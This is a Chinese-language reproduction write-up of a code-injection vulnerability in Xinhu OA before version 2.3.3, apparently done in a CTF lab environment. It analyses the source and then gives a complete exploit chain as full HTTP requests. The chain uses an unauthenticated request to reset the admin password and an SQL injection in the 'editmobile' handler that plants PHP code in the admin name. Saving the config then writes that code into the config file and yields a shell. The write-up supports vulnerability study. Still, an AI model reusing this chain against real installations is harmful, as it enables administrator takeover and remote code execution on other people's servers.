前言
信呼 OA 在 2.3.3 版本之前存在代码注入漏洞。该漏洞影响到组件配置文件处理程序的 webmainConfig.php 文件的代码。篡改导致代码注入。
参考:
https://mp.weixin.qq.com/s/25IpbhFLNcgEfiAC-vZltQ
https://mytte-233.github.io/2023/12/25/%E5%AE%A1%E8%AE%A1/
环境准备
复现环境:
https://github.com/CTF-Archives/xinhu-v2.3.2
数据库帐密:root/123456
管理员帐密:admin/123456,安装完系统后修改密码为 admin123
代码分析
根据漏洞描述直接全局找 webmainConfig.php 的调用没找到,先从入口文件看起
入口
官方文档中也有提:http://www.rockoa.com/view_kuang.html
一个网址运行周期从 index.php 入口开始
一开始引入了 config/config.php
包含文件,定义常量
index.php 后面还引入了 include/View.php
接收了 ajaxbool ,m,a,d 参数
- m 可以用|分隔,分隔的时候取 m[0] 为指定的 Action.php,去调用相关的 action 类。分别判断
m[0]Action.php
,m[1]Action.php
是否存在,存在都会进行文件包含 - a 则是作为 $actname 即要调用的 action 类中的方法,如 indexAction,这里就是 index
- d 则是 $actpath 的一部分
- ajaxbool 如果为 true,则会调用 $aAjax 的方法,如果为 false,直接调用 $aAction 方法。后面如果
$ajaxbool == 'html' || $ajaxbool == 'false'
还会进行模版渲染。所以调用的方法是 Action 或者 Ajax 结尾
可以看到这里的操作部分和 rockClass 对象 $rock 有关
rockClass
简单分析一下 rockClass
public function get($name,$dev='', $lx=0)
{
$val=$dev;
if(isset($_GET[$name]))$val=$_GET[$name];
if($this->isempt($val))$val=$dev;
return $this->jmuncode($val, $lx, $name);
}
public function post($name,$dev='', $lx=0)
{
$val = '';
if(isset($_POST[$name])){$val=$_POST[$name];}else{if(isset($_GET[$name]))$val=$_GET[$name];}
if($this->isempt($val))$val=$dev;
return $this->jmuncode($val, $lx, $name);
}
public function request($name,$dev='', $lx=0)
{
return $this->post($name,$dev,$lx);
}
很明显这部分实现的是 php 的三个 http 请求方法,跟一下 jmuncode
public function jmuncode($s, $lx=0, $na='')
{
$jmbo = false;
if($lx==3)$jmbo = $this->isjm($s);
if(substr($s, 0, 7)=='rockjm_' || $lx == 1 || $jmbo){
$s = str_replace('rockjm_', '', $s);
$s = $this->jm->uncrypt($s);
if($lx==1){
$jmbo = $this->isjm($s);
if($jmbo)$s = $this->jm->uncrypt($s);
}
}
if(substr($s, 0, 7)=='basejm_' || $lx==5){
$s = str_replace('basejm_', '', $s);
$s = $this->jm->base64decode($s);
}
$s=str_replace("'", ''', $s);
$s=str_replace('%20', '', $s);
if($lx==2)$s=str_replace(array('{','}'), array('[H1]','[H2]'), $s);
$str = strtolower($s);
foreach($this->lvlaras as $v1)if($this->contain($str, $v1)){
$this->debug(''.$na.'《'.$s.'》error:包含非法字符《'.$v1.'》','params_err');
$s = $this->lvlarrep($str, $v1);
$str = $s;
}
$cslv = array('m','a','p','d','ip','web','host','ajaxbool','token','adminid');
if(in_array($na, $cslv))$s = $this->xssrepstr($s);
return $this->reteistrs($s);
}
可以看到这里对 '
和 %20
进行了转义处理
public function stringformat($str, $arr=array())
{
$s = $str;
for($i=0; $i<count($arr); $i++){
$s=str_replace('?'.$i.'', $arr[$i], $s);
}
return $s;
}
public function strformat($str)
{
$len = func_num_args();
$arr = array();
for($i=1; $i<$len; $i++)$arr[] = func_get_arg($i);
$s = $this->stringformat($str, $arr);
return $s;
}
strformat
实现了模版字符串,对于下面这个代码:
//引入配置文件
$_confpath = $rock->strformat('?0/?1/?1Config.php', ROOT_PATH, PROJECT);
ROOT_PATH 是项目根目录,而 PROJECT 的值为 define('PROJECT', $rock->get('p', 'webmain'));
默认值为 webmain,于是模版字符串拼接得到 ROOT_PATH/webmain/webmainConfig.php
,也就是这个 CVE 受到影响的文件
控制 webmainConfig.php
那么现在全局找一下类似的写法
在 cogAction.php 中,跟踪这个 $_confpath
发现这里有一个文件写入,在同一个 savecongAjax
方法中
public function savecongAjax()
{
if(getconfig('systype')=='demo')exit('演示上禁止设置');
if($this->getsession('isadmin')!='1')exit('非管理员不能操作');
$puurl = $this->option->getval('reimpushurlsystem',1);
$_confpath = $this->rock->strformat('?0/?1/?1Config.php', ROOT_PATH, PROJECT);
$arr = require($_confpath);
$title = $this->post('title');
if(!isempt($title))$arr['title'] = $title;
$arr['url'] = $this->post('url');
$arr['outurl'] = $this->post('outurl');
$arr['reimtitle'] = $this->post('reimtitle');
$arr['qqmapkey'] = $this->post('qqmapkey');
$arr['platurl'] = $this->post('platurl');
$apptitle = $this->post('apptitle');
if(!isempt($apptitle))$arr['apptitle'] = $apptitle;
$asynkey = $this->post('asynkey');
if(!isempt($asynkey))$arr['asynkey'] = $asynkey;
$db_drive = $this->post('db_drive');
if(!isempt($db_drive)){
if($db_drive=='mysql' && !function_exists('mysql_connect'))exit('未开启mysql扩展模块');
if($db_drive=='mysqli' && !class_exists('mysqli'))exit('未开启mysqli扩展模块');
if($db_drive=='pdo' && !class_exists('PDO'))exit('未开启pdo扩展模块');
$arr['db_drive'] = $db_drive;
}
$arr['localurl'] = $this->post('localurl');
$arr['openkey'] = $this->post('openkey');
$arr['xinhukey'] = $this->post('xinhukey');
if(contain($arr['xinhukey'],'**'))$arr['xinhukey'] = getconfig('xinhukey');
$arr['bcolorxiang'] = $this->post('bcolorxiang');
$arr['officeyl'] = $this->post('officeyl');
$arr['useropt'] = $this->post('useropt');
$arr['editpass'] = $this->post('editpass');
$arr['defstype'] = $this->post('defstype','1');
$arr['officebj'] = $this->post('officebj');
$arr['officebj_key']= $this->post('officebj_key');
$asynsend = $this->post('asynsend');
$arr['asynsend'] = $asynsend;
$arr['sqllog'] = $this->post('sqllog')=='1';
$arr['debug'] = $this->post('debug')=='1';
$arr['reim_show'] = $this->post('reim_show')=='1';
$arr['mobile_show'] = $this->post('mobile_show')=='1';
$arr['companymode'] = $this->post('companymode')=='1';
$arr['loginyzm'] = $this->post('loginyzm');
$arr['apptheme'] = $this->post('apptheme');
// ...
$str1 = '';
foreach($arr as $k=>$v){
$bz = '';
if(isset($smarr[$k]))$bz=' //'.$smarr[$k].'';
if(is_bool($v)){
$v = $v ? 'true' : 'false';
}else{
$v = "'$v'";
}
$str1.= " '$k' => $v,$bz\n";
}
$str = '<?php
if(!defined(\'HOST\'))die(\'not access\');
//['.$this->adminname.']在'.$this->now.'通过[系统→系统工具→系统设置],保存修改了配置文件
return array(
'.$str1.'
);';
@$bo = file_put_contents($_confpath, $str);
if($bo){
echo 'ok';
}else{
echo '保存失败无法写入:'.$_confpath.'';
}
}
调用这个方法的前提是 $GLOBALS['config']
中 systype 不为 demo 且当前用户是管理员权限
<?php
if(!defined(\'HOST\'))die(\'not access\');
//['.$this->adminname.']在'.$this->now.'通过[系统→系统工具→系统设置],保存修改了配置文件
return array(
'.$str1.'
);
而我们要进行代码注入,前面提过,jmuncode 对所有的 get 和 post 请求中的 '
都进行了转义处理,无法直接逃逸
那么就不考虑从 str1 进行注入,注意到这里 $this->adminname
是从 $this->adminname = $this->getsession('adminname');
来的,很明显这个是要从数据库来的,我们的目标是修改 admin 用户名为 \nphpinfo();//
sql 注入
先看下数据库操作
include/rockFun.php 中的 m
模版方法
/**
* m 读取数据模型,操作数据库的
* $name 表名/文件名
*/
function m($name)
{
$cls = NULL;
$pats = $nac = '';
$nas = $name;
$asq = explode(':', $nas);
if(count($asq)>1){
$nas = $asq[1];
$nac = $asq[0];
$pats = $nac.'/';
$_pats = ''.ROOT_PATH.'/'.PROJECT.'/model/'.$nac.'/'.$nac.'.php';
if(file_exists($_pats)){
include_once($_pats);
$class = ''.$nac.'Model';
$cls = new $class($nas);
}
}
$class = ''.$nas.'ClassModel';
$path = ''.ROOT_PATH.'/'.PROJECT.'/model/'.$pats.''.$nas.'Model.php';
if(file_exists($path)){
include_once($path);
if($nac!='')$class= $nac.'_'.$class;
$cls = new $class($nas);
}
if($cls==NULL)$cls = new sModel($nas);
return $cls;
}
然后寻找可能存在 sql 注入的地方,最好是直接对 admin 表有更新、插入操作的
webmain/task/api/reimplatAction.php
//修改手机号
if($msgtype=='editmobile'){
$user = arrvalue($data, 'user');
$mobile = arrvalue($data, 'mobile');
$where = "`user`='$user'";
$upstr = "`mobile`='$mobile'";
$db->update($upstr, $where);
$dbs = m('admin');
$dbs->update($upstr,$where);
$uid = $dbs->getmou('id',$where);
m('userinfo')->update($upstr,"`id`='$uid'");
}
这里的 $where 和 $upstr 都是我们可控的,那么就可以有如下注入:
m('admin')->update("`mobile`='123',name='\nphpinfo();//'","`user`='admin'");
跟一下 update:
public function update($arr,$where)
{
return $this->record($arr, $where);
}
public function record($arr, $where='')
{
return $this->db->record($this->table, $arr, $where);
}
// mysql.php
/**
记录添加修改
*/ public function record($table,$array,$where='')
{
$addbool = true;
if(!$this->isempt($where))$addbool=false;
$cont = '';
if(is_array($array)){
foreach($array as $key=>$val){
$cont.=",`$key`=".$this->toaddval($val)."";
}
$cont = substr($cont,1);
}else{
$cont = $array;
}
if($addbool){
$sql="insert into `$table` set $cont";
}else{
$where = $this->getwhere($where);
$sql="update `$table` set $cont where $where";
}
return $this->tranbegin($sql);
}
遍历 arr 里的每一个键值对然后更新数据,明显能注入
直接在源码里测试一下:
访问 index.php 后查看数据库
成功修改
接下来就是要通过调用 action 的方式来触发 sql 注入了
修改密码登录
首先我们需要成为 admin,那么就需要得到 admin 的帐密,借由 reimplatClassAction 我们可以直接修改密码
public function indexAction()
{
//修改密码
if($msgtype=='editpass'){
$user = arrvalue($data, 'user');
$pass = arrvalue($data, 'pass');
if($pass && $user){
$where = "`user`='$user'";
$mima = md5($pass);
m('admin')->update("`pass`='$mima',`editpass`=`editpass`+1", $where);
}
}
}
但是这里
$body = $this->getpostdata();
if(!$body)return;
$db = m('reimplat:dept');
$key = $db->gethkey();
$bodystr = $this->jm->strunlook($body, $key);
if(!$bodystr)return;
会对请求体进行一次解密,解决方法很简单,我们自己在这里输出加密后的内容,然后传入加密的请求体就可以了
可以看下加密的过程
/**
* 字符串加密处理
*/
public function strlook($data,$key='')
{
if(isempt($data))return '';
// $this->jmsstr = "fapzjkutcqsynrewblmxvgihdo"
if($key=='')$key = md5($this->jmsstr);
$x = 0;
$len = strlen($data);
$l = strlen($key);
$char = $str = '';
for ($i = 0; $i < $len; $i++){
if ($x == $l) {
$x = 0;
}
$char .= $key[$x];
$x++;
}
for ($i = 0; $i < $len; $i++){
$str .= chr(ord($data[$i]) + (ord($char[$i])) % 256);
}
return $this->base64encode($str);
}
public function base64encode($str)
{
if(isempt($str))return '';
$str = base64_encode($str);
$str = str_replace(array('+', '/', '='), array('!', '.', ':'), $str);
return $str;
}
默认 $db->gethkey();
为空,这里过一次 md5 得到 d41d8cd98f00b204e9800998ecf8427e
poc:
POST /index.php?d=task&m=reimplat|api&a=index&ajaxbool=false HTTP/1.1
Host: eci-2zehl4cktrtivqhzj088.cloudeci1.ichunqiu.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: application/json, text/javascript, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 50
Origin: http://eci-2zehl4cktrtivqhzj088.cloudeci1.ichunqiu.com
Connection: close
Referer: http://eci-2zehl4cktrtivqhzj088.cloudeci1.ichunqiu.com/?m=login
Cookie: Hm_lvt_2d0601bd28de7d49818249cf35d95943=1720261151,1720603215,1720924263,1722006294; chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O; PHPSESSID=630665188e5fa3e071f5b3c2b5547d7c; deviceid=1722002940847; Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1722006294; HMACCOUNT=47EB884D12C4280D
{"msgtype":"editpass","user":"admin","pass":"666"}
在源码添加 $test=$this->jm->strlook($body,$key);echo $test;
输出加密后的请求体,这里是 31ae15.X3amdiGpSx5aZqNWaq6NSZVut2MjYWm5UmMnRnZ!GZIXUmqvZUmqEaGZqh7Y:
把加密的请求体再次发包即可
POST /index.php?d=task&m=reimplat|api&a=index&ajaxbool=false HTTP/1.1
Host: eci-2zehl4cktrtivqhzj088.cloudeci1.ichunqiu.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: application/json, text/javascript, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 67
Origin: http://eci-2zehl4cktrtivqhzj088.cloudeci1.ichunqiu.com
Connection: close
Referer: http://eci-2zehl4cktrtivqhzj088.cloudeci1.ichunqiu.com/?m=login
Cookie: Hm_lvt_2d0601bd28de7d49818249cf35d95943=1720261151,1720603215,1720924263,1722006294; chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O; PHPSESSID=630665188e5fa3e071f5b3c2b5547d7c; deviceid=1722002940847; Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1722006294; HMACCOUNT=47EB884D12C4280D
31ae15.X3amdiGpSx5aZqNWaq6NSZVut2MjYWm5UmMnRnZ!GZIXUmqvZUmqEaGZqh7Y:
Getshell
get 的参数就是拼出 task/api/reimplatAction.php,调用其中的 indexAction
POST /index.php?d=task&m=reimplat|api&a=index&ajaxbool=false HTTP/1.1
Host: eci-2zehl4cktrtivqhzj088.cloudeci1.ichunqiu.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: application/json, text/javascript, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 74
Origin: http://eci-2zehl4cktrtivqhzj088.cloudeci1.ichunqiu.com
Connection: close
Referer: http://eci-2zehl4cktrtivqhzj088.cloudeci1.ichunqiu.com/?m=login
Cookie: Hm_lvt_2d0601bd28de7d49818249cf35d95943=1720261151,1720603215,1720924263,1722006294; chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O; PHPSESSID=630665188e5fa3e071f5b3c2b5547d7c; deviceid=1722002940847; Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1722006294; HMACCOUNT=47EB884D12C4280D
{"msgtype":"editmobile","user":"admin","mobile":"1',name='\nphpinfo();//"}
同样的方式获取加密后的 body 后再打进去即可,此时就成功修改 adminname 了
重新登录更新 session,然后文件包含 webmain/system/cog/cogAction.php,执行session的写入
然后访问 index.php 拿到 shell